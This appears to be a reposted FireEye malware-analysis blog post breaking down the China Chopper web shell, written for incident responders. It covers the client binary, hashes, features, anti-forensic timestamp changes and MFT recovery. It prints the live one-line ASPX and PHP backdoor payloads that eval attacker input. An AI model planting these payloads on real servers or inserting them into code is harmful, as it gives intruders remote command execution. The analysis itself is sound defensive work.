[FireEye]Breaking Down the China Chopper Web Shell - Part I

[igor51]

Breaking Down the China Chopper Web Shell - Part I

  Part I in a two-part series.

 

  China Chopper: The Little Malware That Could

 

China Chopper is a slick little web shell that does not get enough
  exposure and credit for its stealth. Other than a     href="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html">good
    blog post from security researcher Keith Tyler, we could find
  little useful information on China Chopper when we ran across it
  during an incident response engagement. So to contribute something new
  to the public knowledge base — especially for those who happen to find
  the China Chopper server-side payload on one of their Web servers — we
  studied the components, capabilities, payload attributes, and the
  detection rate of this 4 kilobyte menace.

 

  Components

 

China Chopper is a fairly simple backdoor in terms of components. It
  has two key components:the Web shell command-and-control (CnC) client
  binary and a text-based Web shell payload (server component). The
  text-based payload is so simple and short that an attacker could type
  it by hand right on the target server — no file transfer needed.

 

Web Shell Client

 

The Web shell client used to be available on www.maicaidao.com, but
  we would advise against visiting that site now.

 
   
              scope="col" class="c09_td">MD5 Hash
   
                class="c09_td">
        5001ef50c7e869253a7c152a638eab8a       class="c09_td_value is-hidden-mml">5001ef50c7e869253a7c152a638eab8a

Web shell (CnC) Client
caidao.exe       class="c09_td_value is-hidden-mml">caidao.exe

 

The client binary is packed with UPX and is 220,672 bytes in size,
  as shown in Figure 1.

 

        src="/content/dam/legacy/blog/2013/08/image001.png"
      alt="Client binary viewed in WinHex"
      class="size-full wp-image-2622 landscape-lg" width="1059" height="735" />

 

Figure 1: Client binary viewed in WinHex

 

Using the executable file compressor UPX to unpack the binary allows
  us to see some of the details that were hidden by the packer.

 
   
     

valign="top"> C:\Documents and Settings\Administrator\Desktop>upx -d         style="font-family: "Courier 10 Pitch" , Courier , monospace;font-size: 13.0px;font-style: normal;line-height: 1.5;">5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe         Ultimate Packer for eXecutables         Copyright (C) 1996 - 2011 UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011 File size         Ratio      Format      Name --------------------   ------   -----------   -----------         700416 <-    220672   31.51%    win32/pe     decomp.exe Unpacked 1 file.

 

Using PEiD (a free tool for detecting packers, cryptors and
  compilers found in PE executable files), we see that the unpacked
  client binary was written in Microsoft Visual C++ 6.0, as shown in
  Figure 2.

 

        src="/content/dam/legacy/blog/2013/08/image002.png" alt="image002"
      class="alignnone size-full wp-image-2624 landscape-sm" width="418" height="239" />

 

Figure 2: PEiD reveals that the binary was written using Visual C++ 6.0

 

Because the strings are not encoded, examining the printable strings
  in the unpacked binary provides insight into how the backdoor
  communicates. We were intrigued to see a reference to google.com.hk
  using the Chinese (simplified) language parameter (Figure 3) as well
  as references to the text “Chopper" (Figure 4).

 

        src="/content/dam/legacy/blog/2013/08/image003.png" alt="image003"
      class="alignnone size-full wp-image-2625 landscape-med"
      width="664" height="331" />

 

Figure 3: Printable strings refer to www.google.com.hk

 

        src="/content/dam/legacy/blog/2013/08/image004.png" alt="image004"
      class="alignnone size-full wp-image-2626 landscape-med"
      width="666" height="309" />

 

Figure 4: References to Chopper in the client binary

 

So we have highlighted some attributes of the client binary. But
  what does it look like in use? China Chopper is a menu-driven GUI full
  of convenient attack and victim-management features. Upon opening the
  client, you see example shell entries that point to www.maicaidao.com,
  which originally hosted components of the Web shell.

 

To add your own target, right click within the client, select “Add”
  and enter the target IP address, password, and encoding as shown in
  Figure 5.

 

        src="/content/dam/legacy/blog/2013/08/image005.png" alt="image005"
      class="alignnone size-full wp-image-2627 landscape-med"
      width="755" height="572" />

 

Figure 5: Picture of the China Chopper Web shell client binary

 

Server-side Payload Component

 

But the client is only half of the remote access tool — and not
  likely the part you would find on your network. Its communication
  relies on a payload in the form of a small Web application. This
  payload is available in a variety of languages such as ASP, ASPX, PHP,
  JSP, and CFM. Some of the original files that were available for
  download are shown with their MD5 hashes:

 
   
              class="c09_td" scope="col">MD5 Hash
   
                class="c09_td">
        8aa603ee2454da64f4c70f24cc0b5e08       class="c09_td_value is-hidden-mml">8aa603ee2454da64f4c70f24cc0b5e08
   
                class="c09_td">
        ad8288227240477a95fb023551773c84       class="c09_td_value is-hidden-mml">ad8288227240477a95fb023551773c84
   
                class="c09_td">
        acba8115d027529763ea5c7ed6621499       class="c09_td_value is-hidden-mml">acba8115d027529763ea5c7ed6621499

Web shell Payload
Customize.aspx       class="c09_td_value is-hidden-mml">Customize.aspx
Customize.cfm       class="c09_td_value is-hidden-mml">Customize.cfm
Customize.jsp       class="c09_td_value is-hidden-mml">Customize.jsp

 

Source:  http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html

 

Even though the MD5s are useful, keep in mind that this is a
  text-based payload that can be easily changed, resulting in a new MD5
  hash. We will discuss the payload attributes later, but here is an
  example of just one of the text-based payloads:

 

  ASPX:

 
   
     

<%@ Page       Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

 

Note that “password” would be replaced with the actual password to
  be used in the client component when connecting to the Web shell.

 

In the next post, we provide regular expressions that can be used to
  find instances of this Web shell.

 

Capabilities

 

The capabilities of both the payload and the client are impressive
  considering their size.  The Web shell client contains a “Security
  Scan” feature, independent of the payload, which gives the attacker
  the ability to spider and use brute force password guessing against
  authentication portals.

 

        src="/content/dam/legacy/blog/2013/08/image006.png" alt="image006"
      class="alignnone size-full wp-image-2628 landscape-lg"
      width="1022" height="315" />

 

Figure 6: China Chopper provides a “Security Scan” feature

 

In addition to vulnerability hunting, this Web shell has excellent
  CnC features when combining the client and payload, include the following:

 

• File Management (File explorer)
• Database Management
      (DB client)
• Virtual Terminal (Command shell)

 

In China Chopper's main window, right-clicking one of the target
  URLs brings up a list of possible actions (see Figure 7).

 

        src="/content/dam/legacy/blog/2013/08/image007.png" alt="image007"
      class="alignnone size-full wp-image-2629 landscape-lg" width="856" height="350" />

 

Figure 7: Screenshot of the CnC client showing capabilities of the
  Web shell

 

File Management

 

Used as a remote access tool (RAT), China Chopper makes file
  management simple.  Abilities include uploading and downloading files
  to and from the victim, using the file-retrieval tool wget to download
  files from the Web to the target, editing, deleting, copying,
  renaming, and even changing the timestamp of the files.

 

        src="/content/dam/legacy/blog/2013/08/image008.png" alt="image008"
      class="alignnone size-full wp-image-2630 landscape-lg" width="857" height="408" />

 

Figure 8: File Management provides an easy to use menu that is
  activated by right-clicking on a file name

 

So just how stealthy is the “Modify the file time” option? Figure 9
  shows the timestamps of the three files in the test directory before
  the Web shell modifies the timestamps. By default, Windows Explorer
  shows only the “Date Modified” field. So normally, our Web shell
  easily stands out because it is newer than the other two files.

 

        src="/content/dam/legacy/blog/2013/08/image009.png" alt="image009"
      class="alignnone size-full wp-image-2631 landscape-lg" width="821" height="205" />

 

Figure 9: IIS directory showing time stamps prior to the time modification

 

Figure 10 shows the date of the file after the Web shell modifies
  the timestamp. The modified time on our Web shell shows up as the same
  as the other two files. Because this is the default field displayed to
  users, it easily blends in to the untrained eye — especially with many
  files in the directory.

 

        src="/content/dam/legacy/blog/2013/08/image010.png" alt="image010"
      class="alignnone size-full wp-image-2632 landscape-lg" width="819" height="205" />

 

Figure 10: IIS directory showing time stamps after the time modification

 

Clever investigators may think that they can spot the suspicious
  file due to the creation date being changed to the same date as the
  modified date. But this is not necessarily anomalous. Additionally,
  even if the file is detected, the forensic timeline would be skewed
  because the date that the attacker planted the file is no longer
  present. To find the real date the file was planted, you need to go to
  the Master File Table (MFT). After acquiring the MFT using FTK,
  EnCase, or other means, we recommend using mftdump (available from   href="http://malware-hunters.net/all-downloads/">http://malware-hunters.net/all-downloads/).
  Written by FireEye researcher Mike Spohn, mftdump is a great tool for
  extracting and analyzing file metadata.

 

The following table shows the timestamps pulled from the MFT for our
  Web shell file. We pulled the timestamps before and after the
  timestamps were modified. Notice that the “fn*” fields retain their
  original times, thus all is not lost for the investigator!

 
   
     
   
     
       
   
     
       
   
     
       
       
   
     
       
   
     
       
   
     
       
   
     
       
       
   
     
       

Category	scope="col">Pre-touch match	scope="col">Post-touch match
siCreateTime (UTC)           class="c09_td_value is-hidden-mml">siCreateTime       (UTC)	6/6/2013 16:01           class="c09_td_value is-hidden-mml">6/6/2013 16:01	2/21/2003         22:48           class="c09_td_value is-hidden-mml">2/21/2003 22:48
siAccessTime (UTC)           class="c09_td_value is-hidden-mml">siAccessTime       (UTC)	6/20/2013 1:41           class="c09_td_value is-hidden-mml">6/20/2013 1:41	6/25/2013         18:56           class="c09_td_value is-hidden-mml">6/25/2013 18:56
siModTime         (UTC)           class="c09_td_value is-hidden-mml">siModTime (UTC)	6/7/2013         0:33           class="c09_td_value is-hidden-mml">6/7/2013 0:33	2/21/2003         22:48           class="c09_td_value is-hidden-mml">2/21/2003 22:48
siMFTModTime (UTC)           class="c09_td_value is-hidden-mml">siMFTModTime       (UTC)	6/20/2013 1:54           class="c09_td_value is-hidden-mml">6/20/2013 1:54	6/25/2013         18:56           class="c09_td_value is-hidden-mml">6/25/2013 18:56
fnCreateTime (UTC)           class="c09_td_value is-hidden-mml">fnCreateTime       (UTC)	6/6/2013 16:01           class="c09_td_value is-hidden-mml">6/6/2013 16:01	6/6/2013         16:01           class="c09_td_value is-hidden-mml">6/6/2013 16:01
fnAccessTime (UTC)           class="c09_td_value is-hidden-mml">fnAccessTime       (UTC)	6/6/2013 16:03           class="c09_td_value is-hidden-mml">6/6/2013 16:03	6/6/2013         16:03           class="c09_td_value is-hidden-mml">6/6/2013 16:03
fnModTime         (UTC)           class="c09_td_value is-hidden-mml">fnModTime (UTC)	6/4/2013         15:42           class="c09_td_value is-hidden-mml">6/4/2013 15:42	6/4/2013         15:42           class="c09_td_value is-hidden-mml">6/4/2013 15:42
fnMFTModTime (UTC)           class="c09_td_value is-hidden-mml">fnMFTModTime       (UTC)	6/6/2013 16:04           class="c09_td_value is-hidden-mml">6/6/2013 16:04	6/6/2013         16:04           class="c09_td_value is-hidden-mml">6/6/2013 16:04

 

Database Management

 

The Database Management functionality is impressive and helpful to
  the first-time user.  Upon configuring the client, China Chopper
  provides example connection syntax.

 

        src="/content/dam/legacy/blog/2013/08/image011.png" alt="image011"
      class="alignnone size-full wp-image-2633 landscape-lg" width="856" height="322" />

 

Figure 11: Database Management requires simple configuration
  parameters to connect

 

After connecting, China Chopper also provides helpful SQL commands
  that you may want to run.

 

        src="/content/dam/legacy/blog/2013/08/image012.png" alt="image012"
      class="alignnone size-full wp-image-2634 landscape-lg" width="855" height="322" />

 

Figure 12: Database Management provides the ability to interact with
  a database and even provides helpful prepopulated commands

 

Command Shell Access

 

Finally, command shell access is provided for that OS level
  interaction you crave. What a versatile little Web shell!

 

        src="/content/dam/legacy/blog/2013/08/image013.png" alt="image013"
      class="alignnone size-full wp-image-2635 landscape-lg" width="855" height="349" />

 

Figure 13: Virtual Terminal provides a command shell for OS interaction

 

Payload Attributes

 

We stated above that this backdoor is stealthy due to a number of
  factors including the following:

 

• Size
• Server-side content
• Client-side
    content
• AV detection rate

 

Size

 

Legitimate and illegitimate software usually suffer from the same
  principle: more features equals more code, which equals larger size.
  Considering how many features this Web shell contains, it is
  incredibly small — just 73 bytes for the aspx version, or 4 kilobytes
  on disk (see Figure 14). Compare that to other Web shells such as
  Laudanum (619 bytes) or RedTeam Pentesting (8,527 bytes). China
  Chopper is so small and simple that you could conceivably type the
  contents of the shell by hand.

 

 
   
     
         
            src="/content/dam/legacy/blog/2013/08/image014.png"
        alt="image014"
        class="alignnone size-full wp-image-2636 portrait-sm"
        width="364" height="496" />

 

Figure 14: China Chopper file properties

 

Server-Side Content

 

The server side content could easily be overlooked among the other
  files associated with a vanilla install of a complex application. The
  code does not look too evil in nature, but is curious.

 

        src="/content/dam/legacy/blog/2013/08/image015.png" alt="image015"
      class="alignnone size-full wp-image-2637 landscape-med"
      width="613" height="103" />

 

Figure 15: The content of the file seems relatively benign,
  especially if you add a warm and fuzzy word like Security as the shell password

 

Below are the contents of the Web shell for two of its varieties.

 

  ASPX:

 

 
     
       

<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

 

  PHP:

 

 
     
       

<?php @eval($_POST['password']);?>

 

Client-Side Content

 

Because all of the code is server-side language that does not
  generate any client-side code, browsing to the Web shell and viewing
  the source as a client reveals nothing.

 

        src="/content/dam/legacy/blog/2013/08/image016.png" alt="image016"
      class="alignnone size-full wp-image-2638 landscape-lg" width="957" height="400" />

 

Figure 16: Viewing the source of the web shell reveals nothing to
  the client

 

Anti-virus Detection Rate

 

Running the Web shell through the virus-scanning website No Virus
  Thanks shows a detection rate of 0 out of 14, indicating that most, if
  not all, anti-virus tools would miss the Web shell on an infected system.

 

        src="/content/dam/legacy/blog/2013/08/image017.png" alt="image017"
      class="alignnone size-full wp-image-2639 portrait-sm" width="498" height="683" />

 

Figure 17: Results of multiple anti-virus engine inspections showing
  China Chopper coming up clean

 

The same holds true for VirusTotal. None of its 47 anti-virus
  engines flags China Chopper as malicious.

 

        src="/content/dam/legacy/blog/2013/08/image018.png" alt="image018"
      class="alignnone size-full wp-image-2640 landscape-lg" width="984" height="795" />

 

Figure 18: Results of multiple AV engine inspections showing the Web
  shell comes up clean

 

Conclusion

 

We hope that this post has advanced the understanding of this
  compact, flexible, and stealthy Web shell. If you are reading this,
  you may be facing China Chopper right now — if so, we wish you success
  in eradicating this pest.     href="/content/fireeye-www/en_US/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html">In
    Part II, we examine the platform China Chopper runs on and
  describe its delivery mechanisms, traffic analysis and detection.

Source: Breaking Down the China Chopper Web Shell - Part I